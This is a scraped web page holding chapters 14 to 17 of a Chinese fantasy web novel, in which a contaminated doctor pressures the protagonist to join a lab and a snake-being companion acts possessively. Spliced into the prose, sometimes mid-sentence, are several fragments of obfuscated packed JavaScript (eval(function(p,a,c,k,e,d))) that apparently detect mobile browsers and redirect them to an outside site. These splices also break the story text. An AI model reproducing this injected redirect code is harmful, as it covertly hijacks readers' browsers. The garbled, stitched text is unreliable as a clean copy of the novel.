l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306298|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺眼的红色字母:【A】。 王医生的脸色瞬间变得极其难看。 “别慌。”他稳住声音,对小张说,“对了,你是从哪里出来的?” “刚刚去2106,和李医生……去查房,现在护士长让我去拿2106的血常规结果。”小张的声音还在发抖。 王医生立刻看向手中的平板,手指快速划动,目光锁定在其中一个名字上:“2106……方叙白?” “是……”小张点头。 “他的情况怎么样?刚才有什么异常吗?”王医生一边操作平板,一边语速很快地问,同时快步朝方叙白的病房方向走去。 小张努力回忆:“我……我早上跟李医生查房时他还没醒,生命体征平稳,就是……就是源能指数偏高,李医生说可能是觉醒前兆……” 她顿了顿,补充道,“对了,他那个红头发的朋友也在,就是手臂受伤的那个,刚刚好像出去了……” “红头发……”王医生脚步不停,眉头皱得更紧。他打开平板上的通讯模块,接入了一个加密频道,语气急促:“呼叫‘源’实验室!这里是E-6医疗中心王振。报告:我院公共区域刚刚检测到突发性A级污染爆发,污染源初步判定为‘缠枝’污染特征,重复,污染特征为‘缠枝’!请求紧急溯源和支援!” 通讯器那边传来一个明显压抑着烦躁的男声:“‘缠枝’?!你确定?实验室这边显示‘缠枝’本体一切稳定!污染读数一直维持在C级阈值以下!怎么会突然在你那边爆发A级?!” “确定!检测仪读数A,患者出现典型迷幻、掠夺倾向及初步植化体征!”王医生语速飞快,声音带着压抑的怒火,“你们实验室到底怎么监控的?!S级异种,哪怕只是死亡标本残留的污染源,其扩散性和异变性也是不容小觑的!你们上次报告还说‘缠枝’在实验室是可控状态?这他妈叫可控?隔着半个安全区都能让这里爆发A级异变!” “不可能!我们这边监测一切正常!”那边的人语气也变得激动起来,“‘缠枝’的污染一直是区域性、低烈度的C级扩散,跟空气中其他微粒污染没区别,打一针抗污染剂就能消解!你那边隔着这么远,还隔着主防护屏障,怎么可能突然……” “事实就是发生了!”王医生打断他,语气不容置疑,“污染特征高度吻合!我已经控制了一名异变者!现在没时间跟你争辩,你们立刻自查!同时做好我院可能爆发连锁污染事件的预案!我这边的病人很可能受到影响了。” “等等!”那边的人似乎想到了什么,“你说你的病人?是不是李书明今天报告那个……那个新发现的潜在治愈系异能者?他叫什么?” “方叙白。”王医生已经走到了方叙白的病房门口,他停下脚步,压低声音对着通讯器快速说道,“‘缠枝’的污染具有极强的精神诱导性和……信息素模拟特性,尤其对精神力敏感者影响巨大。如果他在觉醒边缘……这突发的A级污染爆发,很可能与他有关!或者……是冲着他来的?总之,我会密切监控!你们那边尽快给我答复!” 说完,他直接切断了通讯。 王医生深吸一口气,平复心中的惊涛骇浪。 若有若无的、令人沉醉又心悸的花香,似乎比刚才更清晰了一些,萦绕在鼻尖 他眼神沉了沉,抬手敲了敲门: “方先生,我是王医生。现在方便进来查个房吗?另外,有个好消息,关于你异能检测的初步结果出来了,是潜力很高的治愈系。” 说完,他推开了病房的门。 14.第 14 章 病房里此刻只剩方叙白一人。 刚才和斯莱瑟的对话,还有平板里那些爆炸性的信息,像一堆乱麻塞在方叙白脑子里。 诺卡斯是异种……可能还是那个听起来就极其危险的S级“银”。 异常事务局是异种的巢穴。 而自己,莫名其妙成了什么“治愈系异能者”? 他烦躁地抓了抓头发,目光落在平板上。 为了转移脑子里翻江倒海的思绪,方叙白顺手又拿起平板。 主界面图标挺多,他一眼扫到角落里有个简陋的方块图标,画着几个不同颜色的糖果图案,下面歪歪扭扭写着“糖果消消乐”。 “这鬼地方还有游戏?”方叙白有些意外,手指却很诚实地点了进去。 游戏界面很粗糙,规则也简单,就是常见的三消。彩色的虚拟糖果方块在屏幕上闪烁,发出廉价的“啵啵”声效。 他心不在焉地滑动手指,看着糖果炸开消失,分数缓慢增长。 这种机械重复的动作居然带来了一丝奇异的平静。 他紧绷的神经渐渐放松,脑子里那些关于异种、污染、诺卡斯的念头暂时被“消除糖果”的简单目标挤到了一边。 “叩叩叩。” 敲门声响起。 方叙白手一抖,差点把平板甩出去。 他慌忙关掉游戏界面,将平板放回床头柜,脸上带着点被抓包似的讪讪。 门被推开,王医生拿着病历夹走了进来。 他脸上没什么特别的表情,但眼神似乎比平时更专注一些。 “医生。”方叙白赶紧打招呼,坐直了些。 王医生点点头,目光在方叙白脸上停留了一瞬,似乎在观察他的气色。“感觉怎么样?还有没有头晕或者哪里不舒服?” 他一边说,一边走到床边,习惯性地拿起挂在床尾的记录板。 方叙白刚想回答“好多了”,喉咙却突然一阵发痒。 “咳、咳咳……”他忍不住侧过头,剧烈地咳嗽起来,咳得眼角都泛起了生理性的泪花。 咳嗽刚稍停,鼻子又一阵发酸,“阿嚏!阿嚏!”接连两个大喷嚏,打得他脑袋嗡嗡作响。 “嗯?”王医生停下翻记录板的动作,眉头微不可察地蹙起,眼神带着探究看向方叙白,“感冒了?还是有什么过敏反应?刚才斯莱瑟在的时候有吗?” 他的目光下意识地在病房里扫了一圈。 方叙白揉着发酸的鼻子,感觉呼吸都有点不畅了。 就在王医生走近的瞬间,一股极其细微、却又难以忽视的甜腻花香钻入了他的鼻腔。 这味道……这世界的医生也太不专业了吧?上班查房喷这么重的香水? 方叙白心里腹诽,过敏带来的窒息感让他烦躁,但看着医生严肃关切的表情,又不好直接指责。 这浓重的甜香简直像是劣质香精,熏得他直想吐。 但人在屋檐下,方叙白强行压下心里的吐槽,努力维持着表面的礼貌。 他抬起头,想委婉地提醒一下医生,却看到王医生的表情有点奇怪。 医生的眼神似乎迷茫了一下,像是突然忘了自己要做什么。 他看着方叙白,又低头看看手里的记录板,眉头拧得更紧了,仿佛在努力回忆什么。 方叙白被这短暂的眼神弄得更不舒服了,那股花香好像也随着医生的靠近变得更浓郁了些,刺激得他又想打喷嚏。 他强忍着,吸了吸鼻子,犹豫着开口:“医生,我……我好像闻不得太浓的花香?或者……花粉?” 他自己也不是很确定,以前的世界他并没有明显的花粉过敏史,但在这里,身体似乎变得格外敏感脆弱。 话音刚落,王医生的表情瞬间变了。 是一种……极其细微的、难以形容的感觉。 像是被泼了一盆冷水,眼神里的某种光亮熄灭了,整个人的气场都沉郁了几分,甚至隐隐透着一丝……失望?或者是不耐烦? 他盯着方叙白,嘴唇动了动,似乎想说什么,最终却只是重复了一遍方叙白的话,语调平平:“闻不得花香?花粉过敏?” 方叙白被他看得心里发毛,那股花香带来的烦躁感更重了。 但他也不好得罪医生,毕竟自己的小命和异能检测报告还在对方手里攥着。 他连忙摆手,几乎是睁眼说瞎话:“啊,不……不确定,可能……可能就是刚醒,鼻子还有点敏感吧?或者病房里空气有点干?” 他努力挤出一点笑容,“没事没事,医生您继续。” 王医生没有立刻回应。 他沉默地站在那里,视线在方叙白脸上来回扫视,目光锐利得像是要穿透他的皮肤,看到里面的每一根血管。 病房里的气氛变得有些凝滞,只有方叙白偶尔压抑的、吸鼻子的声音。 方叙白被他看得浑身不自在,感觉那股甜腻的花香似乎都凝固在了空气里,沉重地压在他的胸口。 他注意到王医生的脖颈…… 光线似乎有点暗? 那里的皮肤下,好像有些非常非常淡的、墨绿色的细纹? 像是干枯树叶的脉络,又像是……某种藤蔓的根须?极其细微地蜿蜒着,若隐若现。 是灯光阴影?还是自己眼花? 半晌,王医生像是终于想起了自己的职责,或者说,想起了另一个更重要的目的。 他脸上的沉郁稍稍散去一些,重新挂上职业化的表情,但那笑容怎么看都有些勉强。 “对了,方先生,”他的声音恢复了之前的平稳,但语速似乎快了一点,“关于你的异能检测,初步结果出来了,是潜力非常不错的治愈系。” 方叙□□神一振! 这是目前为止唯一的好消息了! 他眼睛亮了起来:“真的?那……在安全区,有治愈系异能的话,能找到合适的工作吗?” 这是他眼下最关心的问题。 有了工作,就有了立足的资本,就能彻底摆脱过去那种寄人篱下、朝不保夕的感觉,甚至……可以更快攒钱去更安全的地方。 王医生站在床边,没有立刻回答。 他又停顿了。 这一次的停顿比刚才还要长。 他微微低着头,似乎在斟酌词句。 “嗯……”王医生终于抬起头,目光再次对上方的叙白,这次眼神里多了点说不清道不明的意味,“合适的岗位……当然有。比如……” 他顿了一下,似乎在组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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10000+8000点贡献值!单人公寓!核心居住区! 这些东西的吸引力是巨大的,尤其是对一个在异世界无依无靠、刚逃出“虎口”的人来说。 医生的描述似乎也很有道理……一个被层层防护关起来的死物,还能翻出什么浪花? 难道比活生生的、能吞噬污染物的异种诺卡斯更可怕? 他脸上的抗拒明显减弱了:“这样啊……那……我考虑考虑?” 就在这时,那股甜腻的花香似乎又浓了一点,方叙白感觉鼻腔深处一阵强烈的酸痒,眼泪控制不住地涌了上来,他赶紧捂住口鼻,狼狈地转过头去,压抑着又打了一个喷嚏。“阿嚏!” 王医生看着方叙白泛红的眼眶和生理性泪水,脸上的表情再次沉了下来,比之前任何一次都要明显。 那抹失望几乎要溢出来了,脖颈的纹路颜色更深,仿佛活物般微微蠕动了一下。 他没再说什么,只是冷冷地转过身,走到输液架旁,动作有些生硬地给方叙白调快了一点营养液的滴速。 “嗯,你考虑吧。机会难得。”他的声音变得有些干涩,背对着方叙白,语气重新变得公事公办,“好好休息,有任何不适按铃。” 15.第 15 章 说完,王医生不再停留,径直拉开病房门走了出去。 门被轻轻带上。 方叙白靠在床头,长长吁了口气,他揉着发酸的鼻子,心里对那个王医生的评价跌到了谷底。 喷浓香、阴晴不定、行为诡异! 这安全区的医生,怎么感觉比污染区的怪物还难相处? 病房外走廊。 王医生站在门口,背对着门,一动不动。 他眼神空洞地望着天花板,眉头紧锁,似乎在努力回忆什么重要的事情。 “王医生?方先生情况怎么样?”小张护士小心翼翼地走过来询问。 王医生猛地回过神,看向小张,眼神里带着一丝茫然,下意识地开口:“啊?哦……他还好,就是有点花粉过敏的症状……” 他话没说完,突然顿住,眉头皱得更紧了。 花粉过敏? 这个念头刚冒出来,他口袋里的通讯器突然震动起来。 王医生立刻掏出通讯器接通,语气带着几分不易察觉的焦躁:“是我。情况怎么样?” 通讯器里传来实验室研究员的声音,明显带着后怕:“王医生!多亏你之前的及时提醒!我们这边刚刚发生了剧烈波动。‘缠枝’的残留核心样本,就在十分钟前,突然爆发出超乎寻常的活性……污染读数瞬间冲破了A级阈值,差点冲破收容器,整个实验室的净化系统都超负荷运转了。” 王医生眼神一凝:“现在呢?!” “控制住了!控制住了!”研究员的声音带着庆幸,“我们启动了最高级别的应急收容程序,动用了储备的‘净’,总算把它压下去了。这东西……太邪门了,明明主体意识早已湮灭,为什么残留的本能还能如此强烈?简直像……像在回应某种召唤!” 王医生沉默了几秒:“……它的目标……可能不是破坏,而是……吸引?” 研究员的声音充满了困惑,“吸引什么?我们这里除了仪器……” 王医生打断了他,他不知道为什么自己脱口而出:“你之前不是问我说的那个潜在治愈系吗?他叫方叙白。现在,我想你们实验室‘安抚员’的合适人选,应该找到了。” 通讯器那边瞬间安静了,随即爆发出一阵难以置信的狂喜:“什么?!你是说……那个能让‘缠枝’残留核心都产生异动的高亲和力个体?就是他?!王医生!你立大功了!我们马上启动特招程序!这简直是天赐的‘钥匙’!快!把他的详细资料……” “资料我会稍后整理给你。”王医生平静地打断了对方的话,“他现在就在我负责的病房,情况稳定,治愈系异能确认,潜力极高。你们尽快处理程序问题。” “明白!明白!太感谢了王医生!我们马上联系高层!” 研究员的声音充满了兴奋,随即切断了通讯。 王医生放下通讯器,脸上没有任何喜悦,反而笼罩着一层更深的阴霾。 他低头看着自己的手,又摸了摸空空如也的口袋。 小张护士一直站在旁边,怯生生地再次开口,声音带着疑惑:“王医生……那个……刚才您进方先生病房前,不是从处置室拿了一个装‘缠枝’微量粉尘样本的密封观察瓶吗?说是要测试一下他对……呃,‘缠枝’残留物的反应?您……测了吗?” 王医生的身体猛地一僵! 他缓缓地、极其缓慢地抬起头,看向小张护士,眼神里不再是刚才的茫然的平静,而是一种深不见底的、带着一丝惊骇的空洞。 他张了张嘴,喉咙里像是堵着什么,发不出任何声音。 手指下意识地再次探向那个空空如也的口袋。 没有。 什么都没有。 那个他明明记得自己亲手拿出来的、装着危险污染源的、用于“测试”的密封瓶……不见了。 “我……”王医生的声音干涩得可怕,“……没有吗?” 小张护士看着王医生瞬间变得惨白的脸,吓得后退了半步,连忙低下头,声音更小了,带着巨大的不确定:“……可能……可能是我记错了?对不起王医生!您……您刚出来时,口袋好像是空的……” 王医生没有再说话。 他站在原地,走廊惨白的灯光照在他身上,在他脚下投出一个扭曲的影子。 空气中,那丝若有若无的、令人沉醉又心悸的、属于“缠枝”的花香,似乎比任何时候都要清晰。 他忘了带样本进去吗? 那……刚才病房里,方叙白那突如其来的、剧烈的花粉过敏反应……是因为什么? 那个空了的密封瓶……里面的东西……去哪了? …… 病房门被推开一条缝。 小张探进半个身子,手里托着托盘:“方先生,该换药了……” 方叙白正埋头在糖果消消乐里,他闻声抬头,看清护士手里闪着寒光的镊子和药棉,下意识地缩了缩肩膀。 王医生刚才那副阴晴不定、眼神发直的样子还历历在目,让他本能地对所有靠近的医护人员都带上了点警惕。 “哦,好。”他应着,放下平板,撩起病号服下摆,露出腰侧之前被污染物骨刺蹭破、已经结了一层薄痂的伤口。 那点小伤在他自己看来根本不算什么,远不如斯莱瑟身上那些触目惊心的撕裂伤严重。 小张低着头靠近,手指刚拿起镊子夹起药棉,还没沾上消毒液…… “等等!” 王医生的声音突兀地在门口响起,带着一种被踩了尾巴般的尖锐。 他不知何时折返回来,站在门边,脸色比离开时更沉。 小张吓得手一抖,药棉差点掉在方叙白身上,慌忙站直:“王、王医生?” “我来换。”王医生大步走进来,语气不容置疑,一把从小张手里夺过镊子和药盘。 他看也没看小张,目光沉沉地钉在方叙白裸露的腰侧皮肤上,那眼神不像在看伤口,倒像在看一件被旁人觊觎的所有物,充满了浓烈的排斥和一种……近乎扭曲的占有欲? “你出去。”王医生冷冰冰地对小张说,视线依旧没离开方叙白的腰。 小张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306300|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如蒙大赦,低着头飞快地溜了,病房门在她身后合拢。 空气瞬间凝固。 消毒水味混合着那股若有若无的、令人窒息的甜腻花香,沉甸甸地压在方叙白胸口。 王医生拿着镊子走近,镊子尖反射着冷光。 方叙白身体绷紧,后背紧紧贴着床头,几乎能听到自己心跳在耳边擂鼓。 这医生太不对劲了!那眼神……简直像要把他生吞活剥! 话说安全区可以举报吗?他是真的怀疑这家伙是不是被污染了。 “咔哒。” 病房门把手被拧开的声音格外清晰。 高大修长的身影斜倚在门框上,姿态慵懒:“哟,换药呢?用不用搭把手?” 是斯莱瑟。 方叙白猛地扭头看去,瞳孔瞬间放大。 眼前的斯莱瑟,简直像换了个人! 他身上那件沾满污血的破夹克不见了,取而代之的是一件崭新的黑色皮衣。 不过这些都不重要,惊人的是,他手臂上那道深可见骨、几个小时前还在渗着墨绿色粘液的恐怖伤口,消失了! 皮肤光洁紧实,连一道浅痕都没留下! 他脸上那种失血过多的苍白也一扫而空,皮肤白皙中透着健康的红晕,甚至比之前看起来更加容光焕发,连那头火焰般的红发都似乎更鲜亮了几分。 整个人精神奕奕,哪里还有半分重伤垂死的模样? “你……”方叙白惊得说不出话,看看斯莱瑟完好无损的手臂,又看看他神采飞扬的脸,“你的伤……全好了?这么快?” 他忍不住看向王医生,“医院的药这么神奇吗?” 斯莱瑟脸上的笑容僵了一下,但仅仅是一瞬,快得几乎无法捕捉。 他耸耸肩,蛇尾已经变成了人腿,他走进来:“啊,这个嘛……” 他瞥了一眼王医生,“我体质特殊嘛,刚才出去活动了一下筋骨,感觉好多了,然后……顺便换了身衣服。” 他走到床边,极其自然地挡在了方叙白和王医生之间,隔绝了那道令人不适的目光,顺便伸手把方叙白撩起的衣摆往下拉了拉,遮住那片皮肤。 “这点小伤,对我们蛇族来说,恢复起来很快的。” 方叙白:“……” 这恢复力也太离谱了吧?简直非人类!不,他本来也可能不是人类…… 空气里那股甜腻的花香,随着斯莱瑟的靠近,似乎被冲淡了一些,取而代之的是他身上传来的一种极淡的、清新的草木气息,像是雨后森林的味道,很好闻。 但方叙白鼻尖微动,却在这股清新之下,极其敏锐地捕捉到了一丝极其微弱、几乎无法察觉的……铁锈味? 很淡,混杂在草木清香里,却带着一股挥之不去的腥气,像是……新鲜的血? 方叙白下意识地吸了吸鼻子,目光狐疑地在斯莱瑟的皮衣上扫过。 干净得过分,一点污渍都没有。 是错觉吗? “咳。”王医生发出一声极其不耐烦的咳嗽,打破了沉默。 16.第 16 章 医生看着挡在面前的斯莱瑟,眼神阴鸷得能滴出水来,后颈上的藤蔓纹路颜色深得近乎墨绿,仿佛随时会破皮而出。 “让开。他的药还没换。” 斯莱瑟微微侧过身,脸上依旧挂着那副人畜无害的灿烂笑容,红瞳深处却掠过一丝冰冷:“王医生是吧?辛苦你了。不过换药这种小事,就不劳您亲自动手了,我自己来就行。” 他伸出手,目标明确地指向王医生手里的药盘。 王医生没动,只是死死盯着斯莱瑟伸过来的手,胸膛起伏加剧,呼吸变得粗重,空气中那股甜腻的花香瞬间浓烈起来,几乎呛人。 僵持。 无声的对峙在病房里展开,气压低得让方叙白喘不过气。 “那个……”方叙白硬着头皮开口,试图打破这令人窒息的气氛,“我伤口其实不疼,晚点换也行……对了,王医生,你刚才说的那个实验室的工作……” 他把话题生硬地扭开。 王医生的目光像被磁石吸引一样,猛地从斯莱瑟身上撕开,转回到方叙白脸上。 听到“实验室的工作”,他眼中那种疯狂的占有欲奇迹般地褪去了一些,重新被一种更符合医生身份的光芒取代,脖颈上的纹路颜色也似乎淡了点。 “对!‘源’实验室!”王医生的语气瞬间又变得流畅起来,带着一种不容错过的急切,“方先生考虑得怎么样了?机会难得!像你这样潜力巨大的治愈系异能者,正是他们急需的‘安抚员’!S级标本‘缠枝’虽然已经死亡,但它的残骸依旧蕴含着强大的力量,你的能力可以帮我们稳定它,意义重大!而且待遇……” 他滔滔不绝地重复着那些诱人的条件,眼睛死死盯着方叙白。 方叙白被看得浑身不自在,只能含糊地应着:“嗯……嗯……我再想想……” 他一边应付,一边下意识地又拿起床头的平板,想找个东西分散注意力。 屏幕亮起,自动播放着一则安全区的公益宣传广告。 画面明亮,音乐舒缓,场景是一个布置温馨的社区中心,一位笑容甜美、气质温婉的女演员正在给孩子们分发糖果,阳光透过窗户洒在她身上,金发熠熠生辉,笑容如同盛放的向日葵,纯净温暖。 “啧……”方叙白被这突兀的广告吸引了片刻目光,无意识地发出一声低低的感叹。 倒不是被美色吸引,而是在这个灰暗压抑、怪物横行的世界里,屏幕上那种属于正常世界的、明亮纯粹的温暖笑容,显得如此珍贵。 他纯粹是被那种久违的“正常感”触动了一下。 “漂亮吗?” 斯莱瑟的声音毫无预兆地在耳边响起,带着一丝刻意压低的、难以捉摸的情绪。 他不知何时已经将王医生无声无息地“请”出了病房,此刻正挨着床沿坐下,身体微微倾向方叙白,红色的瞳孔紧紧锁着屏幕上的金发女演员,眼神复杂得像打翻的调色盘。 方叙白被他问得一愣,下意识地抬头看他:“啊?你说……这个女演员?很阳光……” 斯莱瑟的眉头立刻蹙了起来,像是不满意这个答案。 他凑得更近了些,鼻尖几乎要碰到方叙白的鬓角,那股清新的草木气息和他身上若有若无的血腥味混合在一起,形成一种奇特的侵略感。 他声音低下去,带着一丝不易察觉的执拗,“你喜欢这种类型?” 方叙白被他的追问弄得有些莫名,身体本能地往后倾了倾,拉开一点距离:“挺……漂亮?但直接说喜欢很肤浅奇怪吧……” 他试图解释这种纯粹基于视觉的欣赏,“人对美的事物有基本的欣赏和好感,不是很正常吗?” 他搞不懂斯莱瑟为什么揪着这个不放。 一条蛇,难道还懂人类的审美? 斯莱瑟的目光从屏幕上移开,重新聚焦在方叙白的脸上。 只是……这一次,那红色的瞳孔里只剩下一种近乎灼热的专注,像两簇被点燃的火焰,细细地、一寸寸地扫过方叙白的眉眼、鼻梁、嘴唇……眼神里翻滚着毫不掩饰的迷恋和赞叹。 “美……”斯莱瑟的声音变得更轻,“方叙白,你才是我见过最美的……” 他的目光最终停留在方叙白因为困惑而微微睁大的眼睛上,那双黑色的瞳孔在病房柔和的光线下,像浸在深潭里的墨玉,清澈又带着点不自知的迷茫。 斯莱瑟的喉结轻轻滚动了一下,眼神越来越暗,像是被某种强大的引力吸住,无法挪开分毫。 方叙白浑身的鸡皮疙瘩瞬间炸起! 如果不是斯莱瑟刚救了他的命,如果不是他此刻还虚弱地躺在病床上,方叙白绝对会毫不犹豫地抓起枕头狠狠砸在这条疯蛇脸上,然后冲出病房离他八丈远! 这已经不是单纯的“蛇类表达友好方式怪异”能解释的了! 这眼神,这话语,赤裸裸地透着一种令人毛骨悚然的占有欲和……情欲?对着一个同性? “我……我去下洗手间。”方叙白猛地掀开被子,几乎是狼狈地翻身下床,声音干涩得厉害。 他需要空间,需要冷静,需要远离这个让他头皮发麻的家伙! 他冲向病房角落那个小小的独立卫生间,砰地一声关上门,反手落锁! 背靠着门板,方叙白大口喘着气,试图平复翻涌的恶心感。太可怕了……这个世界到底还有多少疯狂在等着他? 诺卡斯是危险的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306301|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异种,斯莱瑟这条救命恩蛇……似乎也疯得不轻! 他拧开水龙头,掬起冷水狠狠泼在脸上。 冰凉的刺激让他混乱的头脑稍微清醒了一些。 他抬起头,想看看自己的脸色,目光下意识地投向洗手台上方那面光洁的镜子。 镜子里映出一张脸。 方叙白的呼吸骤然停止。 心脏像是被一只无形的大手狠狠攥住,瞬间停止了跳动。 镜子里的人……是谁? 五官依稀还能看出方叙白自己的轮廓,眉眼的线条却像是被无形的刻刀精心雕琢过,变得极其精致。 最刺目的变化,是头发! 原本柔软的黑色短发,此刻变成了耀眼夺目的、如同流淌着熔金般璀璨的金色! 发丝柔顺地垂落,在卫生间明亮的顶灯下闪烁着丝绸般的光泽。 皮肤白皙得近乎透明,仿佛上好的骨瓷,看不到一丝瑕疵。嘴唇是天然健康的淡粉色,微微张着,带着震惊的弧度。 那双眼睛,似乎也比平时更黑更亮,如同浸在寒潭里的黑曜石。 镜子里的青年,漂亮得不似真人,带着一种纯净而惊心动魄的、极具冲击力的美感。 方叙白如同被雷劈中,大脑一片空白。 他颤抖着抬起手,摸了摸自己柔软的金发,触感真实。 这不是幻觉! 异能觉醒……外貌变化? 可平板里的资料没说过治愈系会让人变美啊!这到底是怎么回事?! “咔嚓。” 极其轻微的声音在身后响起。 斯莱瑟斜倚着门框,不知何时出现在那里。 他高大的身影几乎填满了狭小的门口,红色的瞳孔在镜中直勾勾地锁定着方叙白,眼神幽深得像不见底的古井,里面翻涌着浓得化不开的痴迷、赞叹,还有一丝……得逞般的餍足。 他目光一瞬不瞬地黏在镜中那张惊惶绝艳的金色面孔上。 “看,”斯莱瑟前倾身体,发梢几乎要扫到方叙白的后颈,灼热的呼吸喷吐在方叙白裸露的皮肤上,激起一阵细密的战栗。 “我就说……” 他的声音越来越近,越来越轻: “……非常,非常漂亮。” 最后一个字落下,方叙白头皮轰然炸开! 所有的恐惧、不适、被侵犯的愤怒瞬间冲垮了理智的堤坝! “滚开!!!” 方叙白根本来不及思考,身体先于意识做出了反应! 他猛地旋身,使出全身力气,狠狠一脚踹在斯莱瑟的小腹上! “砰!” 斯莱瑟显然没料到方叙白的这个反应。 17.第 17 章 脚结结实实踹在斯莱瑟小腹上的触感清晰得可怕,时间仿佛凝固了。 方叙白全身的血液似乎都在那一脚之后瞬间涌上了头顶,又在下一秒凉透。 他看着斯莱瑟被踹得弓起身体,那张几秒钟前还写满痴迷和赞叹的脸瞬间变得空白,红色的瞳孔因震惊而微微放大,里面翻涌的情绪被这突如其来的暴力彻底打散,只剩下一片难以置信的茫然。 我在干什么?! 方叙白的大脑一片轰鸣。 恐惧?有。被冒犯的恶心?有。 但更汹涌的是铺天盖地的后悔和一丝荒谬的恐惧……他居然对刚刚拼死救了自己的人动手了?而且是在对方明显没有防备的情况下?在这个危险的世界里,这简直是自寻死路! “斯、斯莱瑟……”方叙白的声音带着明显的颤抖。 他踉跄着后退一步,后背重重撞在墙上,冰凉的触感让他一个激灵。“抱歉!我……我不是故意的!只是你突然靠那么近,我……我有点吓到了……真的对不起!” 他语无伦次地解释着,眼神慌乱地在斯莱瑟脸上来回扫视,心脏狂跳。 道歉是出于本能,或者说是害怕斯莱瑟翻脸,但内心深处那股被冒犯、被当成所有物般凝视的愤怒和恶心感却如同骨之蛆,并未因道歉而消散半分。 这感觉矛盾极了。 斯莱瑟维持着被踹中的姿势,微微弓着背,低着头,红色的碎发垂下来遮住了他大半张脸,看不清表情。 整个卫生间安静得只剩下方叙白的喘息声和隐约的、他自己的心跳声。 几秒的沉默,漫长得如同一个世纪。 方叙白紧张地攥紧了拳头,指甲几乎要嵌进掌心。 他是不是该夺门而逃?可又能逃到哪里去?这里是安全区医院,外面是陌生的世界,而斯莱瑟……是唯一和他有点联系的存在。 但斯莱瑟并没有像方叙白预想的那样暴怒或反击,反而慢慢地、极其缓慢地直起身。 他抬起头,脸上没有愤怒,没有冰冷,甚至没有受伤的痛楚……那张脸上,此刻只有一种巨大的、难以名状的……委屈? 是的,就是委屈。 漂亮的红色眼眸里,酝酿着一种纯粹的无辜和茫然无措,像是被主人无端责骂的大型犬。 他微微蹙眉,嘴唇抿着,甚至试图用力眨巴了几下眼睛,长长的睫毛扇动,似乎想努力挤出一点水光,营造出“泫然欲泣”的效果。 然而,失败了。 无论他怎么努力,那双红色的瞳孔依旧清澈、干燥,甚至因为过于专注而显得更加明亮锐利,里面一丝泪意也无。 冷血动物的生理构造决定了眼泪这种东西,对他而言是遥远且陌生的奢侈品。 这努力“挤眼泪”却失败的样子,配上他那副委屈巴巴的表情,形成了一种极其诡异的反差。方叙白看得一时忘了害怕,只觉得荒谬感更重了……这家伙到底在搞什么? 斯莱瑟似乎也意识到了表演的失败。 他放弃了“哭”这个选项,转而换上了更深一层的委屈和无助。 他像是一下子被抽掉了骨头,整个人虚脱般地晃了一下,然后极其自然地、带着点小心翼翼的试探,将额头轻轻抵在了方叙白紧绷的肩膀上。 “方叙白……”他的声音闷闷的,带着一丝不易察觉的哑,尾音拖得长长的,像是在撒娇,又像是在忍受巨大的痛苦,“……好痛。” 方叙白身体瞬间僵硬! 肩膀上的重量和温度让他头皮发麻,他想推开,但对方那“虚弱”的姿态和刚刚“受伤”的指控让他不敢再轻举妄动。 “我……我真的不是故意的……”方叙白只能再次重复道歉,身体僵硬得一动不敢动,任由斯莱瑟的脑袋靠在自己肩上。 斯莱瑟似乎没听见他的道歉,自顾自地低语,像是在解释,又像是在抱怨:“都怪那朵死掉的花……” “花?”方叙白一愣。 “嗯。”斯莱瑟的脑袋在他肩窝里蹭了蹭,动作轻得像羽毛拂过,却让方叙白汗毛倒竖。“就是‘缠枝’的花粉。那玩意儿太邪门了。我刚才出去,也不知道怎么沾染上的……可能……可能是我今天‘吃’得有点多?” 他的声音含含糊糊,语焉不详,似乎刻意避开了“吃”了什么,“那些花粉好像会……会影响情绪?让人变得……特别兴奋?特别想靠近你?” 他抬起头,下巴依旧搁在方叙白肩上,红色的眼眸近距离地凝视着方叙白近在咫尺的脸颊,眼神里带着一种“真诚”的困惑和懊恼:“我刚才是不是……特别奇怪?特别……让你讨厌?” 方叙白被他看得心头发毛,下意识地想偏头避开,却被斯莱瑟抵着肩膀的动作限制住了角度。 他艰难地咽了口唾沫,心里飞快地转动。 缠枝的花粉?影响情绪?这倒是能解释王医生刚才的异常,还有斯莱瑟那突然失控的痴迷眼神……难道是真的? 这似乎是个能解释一切诡异行为的完美借口。但……真的仅仅是花粉的作用吗? “所……所以,”斯莱瑟见方叙白没回答,语气更加低落,带着点可怜兮兮的自责,“你踹我是应该的……是我太……太操之过急了,不,是我不该被花粉影响,就……就那样看你,说那些话……” 他顿了顿,语气突然带上了一丝愤恨,“都怪那朵死花!死都死了,花粉还到处乱飘害人!” 他咬牙切齿地低骂了一句,随即又放软了声音,带着浓浓的后怕:“我们得离它远点!那个王医生也绝对有问题!他肯定被污染得很深了,刚才还想把你骗去实验室……那简直是羊入虎口!太危险了!” 方叙白的心猛地一沉。 